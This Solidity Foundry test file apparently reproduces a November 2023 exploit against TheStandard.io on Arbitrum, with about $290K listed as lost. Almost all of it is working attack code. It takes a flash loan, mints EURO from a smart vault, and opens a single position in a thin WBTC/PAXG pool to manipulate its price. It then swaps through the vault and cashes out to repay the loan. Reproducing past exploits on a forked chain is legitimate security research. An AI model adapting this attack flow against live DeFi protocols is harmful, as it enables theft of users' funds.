src/test/2023-11/TheStandard_io_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$290K
8// Attacker : https://arbiscan.io/address/0x09ed480feaf4cbc363481717e04e2c394ab326b4
9// Attack Contract : https://arbiscan.io/address/0xb589d4a36ef8766d44c9785131413a049d51dbc0
10// Vuln Contract : https://arbiscan.io/address/0x29046f8f9e7623a6a21cc8c3cc2a2121ae855b8d
11// Attack Tx : https://explorer.phalcon.xyz/tx/arbitrum/0x51293c1155a1d33d8fc9389721362044c3a67e0ac732b3a6ec7661d47b03df9f
12 
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1721807569222549518
15// https://twitter.com/CertiKAlert/status/1721839125836321195
16 
17interface NonfungiblePositionManager {
18    struct CollectParams {
19        uint256 tokenId;
20        address recipient;
21        uint128 amount0Max;
22        uint128 amount1Max;
23    }
24 
25    struct DecreaseLiquidityParams {
26        uint256 tokenId;
27        uint128 liquidity;
28        uint256 amount0Min;
29        uint256 amount1Min;
30        uint256 deadline;
31    }
32 
33    struct MintParams {
34        address token0;
35        address token1;
36        uint24 fee;
37        int24 tickLower;
38        int24 tickUpper;
39        uint256 amount0Desired;
40        uint256 amount1Desired;
41        uint256 amount0Min;
42        uint256 amount1Min;
43        address recipient;
44        uint256 deadline;
45    }
46}
47 
48interface IPositionsNFT is IPoolInitializer {
49    function collect(
50        NonfungiblePositionManager.CollectParams memory params
51    ) external payable returns (uint256 amount0, uint256 amount1);
52 
53    function decreaseLiquidity(
54        NonfungiblePositionManager.DecreaseLiquidityParams memory params
55    ) external payable returns (uint256 amount0, uint256 amount1);
56 
57    function mint(
58        NonfungiblePositionManager.MintParams memory params
59    ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
60}
61 
62interface ISmartVaultManagerV2 {
63    function mint() external returns (address vault, uint256 tokenId);
64}
65 
66interface ISmartVaultV2 {
67    function mint(address _to, uint256 _amount) external;
68 
69    function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external;
70}
71 
72interface ISwapRouter {
73    struct ExactInputSingleParams {
74        address tokenIn;
75        address tokenOut;
76        address recipient;
77        uint256 deadline;
78        uint256 amountIn;
79        uint256 amountOutMinimum;
80        uint160 limitSqrtPrice;
81    }
82}
83 
84interface ICamelotRouter {
85    function exactInputSingle(
86        ISwapRouter.ExactInputSingleParams memory params
87    ) external payable returns (uint256 amountOut);
88}
89 
90contract ContractTest is Test {
91    IPositionsNFT private constant PositionsNFT = IPositionsNFT(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
92    IERC20 private constant WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
93    IERC20 private constant PAXG = IERC20(0xfEb4DfC8C4Cf7Ed305bb08065D08eC6ee6728429);
94    IERC20 private constant EURO = IERC20(0x643b34980E635719C15a2D4ce69571a258F940E9);
95    IWETH private constant WETH = IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));
96    IUSDC private constant USDC = IUSDC(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
97    Uni_Pair_V3 private constant WBTC_WETH = Uni_Pair_V3(0x2f5e87C9312fa29aed5c179E456625D79015299c);
98    ISmartVaultManagerV2 private constant SmartVaultManagerV2 =
99        ISmartVaultManagerV2(0xba169cceCCF7aC51dA223e04654Cf16ef41A68CC);
100    ICamelotRouter private constant RouterV3 = ICamelotRouter(0x1F721E2E82F6676FCE4eA07A5958cF098D339e18);
101    Uni_Router_V3 private constant Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
102    ISmartVaultV2 private SmartVaultV2;
103 
104    function setUp() public {
105        vm.createSelectFork("arbitrum", 147_817_765);
106        vm.label(address(PositionsNFT), "PositionsNFT");
107        vm.label(address(WBTC), "WBTC");
108        vm.label(address(PAXG), "PAXG");
109        vm.label(address(EURO), "EURO");
110        vm.label(address(USDC), "USDC");
111    }
112 
113    function testExploit() public {
114        // Attacker sent PAXG amount to exploit contract before attack
115        deal(address(PAXG), address(this), 100e9);
116 
117        emit log_named_decimal_uint("Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 6);
118 
119        emit log_named_decimal_uint("Attacker EURO balance before exploit", EURO.balanceOf(address(this)), 18);
120 
121        address pool = PositionsNFT.createAndInitializePoolIfNecessary(
122            address(WBTC), address(PAXG), 3000, uint160(address(0x186a0000000000000000000000000))
123        );
124 
125        WBTC_WETH.flash(address(this), 1_000_000_010, 0, bytes(""));
126 
127        emit log_named_decimal_uint("Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);
128 
129        emit log_named_decimal_uint("Attacker EURO balance after exploit", EURO.balanceOf(address(this)), 18);
130    }
131 
132    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
133        (address smartVault,) = SmartVaultManagerV2.mint();
134        SmartVaultV2 = ISmartVaultV2(smartVault);
135 
136        WBTC.transfer(smartVault, WBTC.balanceOf(address(this)) - 10);
137        SmartVaultV2.mint(address(this), 290_000 * 1e18);
138 
139        WBTC.approve(address(PositionsNFT), 10);
140        PAXG.approve(address(PositionsNFT), 100e9);
141        (uint256 tokenId, uint128 liquidity) = mintWBTC_PAXG();
142 
143        // Swap in the pool (WBTC/PAXG), which was manipulated through the sole position the attacker had opened before.
144        SmartVaultV2.swap(bytes32(hex"57425443"), bytes32(hex"50415847"), 1e9);
145        decreaseLiquidityInPool(tokenId, liquidity);
146        collectWBTC_PAXG(tokenId);
147 
148        EURO.approve(address(RouterV3), 10_000 * 1e18);
149        EUROToUSDC();
150        USDC.approve(address(Router), type(uint256).max);
151        USDCToWBTC(uint24(fee0));
152        WBTC.transfer(address(WBTC_WETH), WBTC.balanceOf(address(this)));
153    }
154 
155    function onERC721Received(
156        address operator,
157        address from,
158        uint256 tokenId,
159        bytes calldata data
160    ) external returns (bytes4) {
161        return this.onERC721Received.selector;
162    }
163 
164    function mintWBTC_PAXG() internal returns (uint256 tokenId, uint128 liquidity) {
165        NonfungiblePositionManager.MintParams memory params = NonfungiblePositionManager.MintParams({
166            token0: address(WBTC),
167            token1: address(PAXG),
168            fee: 3000,
169            tickLower: -887_220,
170            tickUpper: 887_220,
171            amount0Desired: 10,
172            amount1Desired: 100e9,
173            amount0Min: 0,
174            amount1Min: 0,
175            recipient: address(this),
176            deadline: block.timestamp
177        });
178 
179        (tokenId, liquidity,,) = PositionsNFT.mint(params);
180    }
181 
182    function decreaseLiquidityInPool(uint256 _tokenId, uint128 _liqudity) internal {
183        NonfungiblePositionManager.DecreaseLiquidityParams memory params = NonfungiblePositionManager
184            .DecreaseLiquidityParams({
185            tokenId: _tokenId,
186            liquidity: _liqudity,
187            amount0Min: 0,
188            amount1Min: 0,
189            deadline: block.timestamp
190        });
191        PositionsNFT.decreaseLiquidity(params);
192    }
193 
194    function collectWBTC_PAXG(
195        uint256 _tokenId
196    ) internal {
197        NonfungiblePositionManager.CollectParams memory params = NonfungiblePositionManager.CollectParams({
198            tokenId: _tokenId,
199            recipient: address(this),
200            amount0Max: type(uint128).max,
201            amount1Max: type(uint128).max
202        });
203        PositionsNFT.collect(params);
204    }
205 
206    function EUROToUSDC() internal {
207        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
208            tokenIn: address(EURO),
209            tokenOut: address(USDC),
210            recipient: address(this),
211            deadline: block.timestamp,
212            amountIn: 10_000 * 1e18,
213            amountOutMinimum: 0,
214            limitSqrtPrice: 0
215        });
216        RouterV3.exactInputSingle(params);
217    }
218 
219    function USDCToWBTC(
220        uint24 _fee
221    ) internal {
222        Uni_Router_V3.ExactOutputSingleParams memory params = Uni_Router_V3.ExactOutputSingleParams({
223            tokenIn: address(USDC),
224            tokenOut: address(WBTC),
225            fee: 500,
226            recipient: address(this),
227            deadline: block.timestamp,
228            amountOut: 1_000_000_010 + _fee - WBTC.balanceOf(address(this)),
229            amountInMaximum: type(uint256).max,
230            sqrtPriceLimitX96: 0
231        });
232 
233        Router.exactOutputSingle(params);
234    }
235}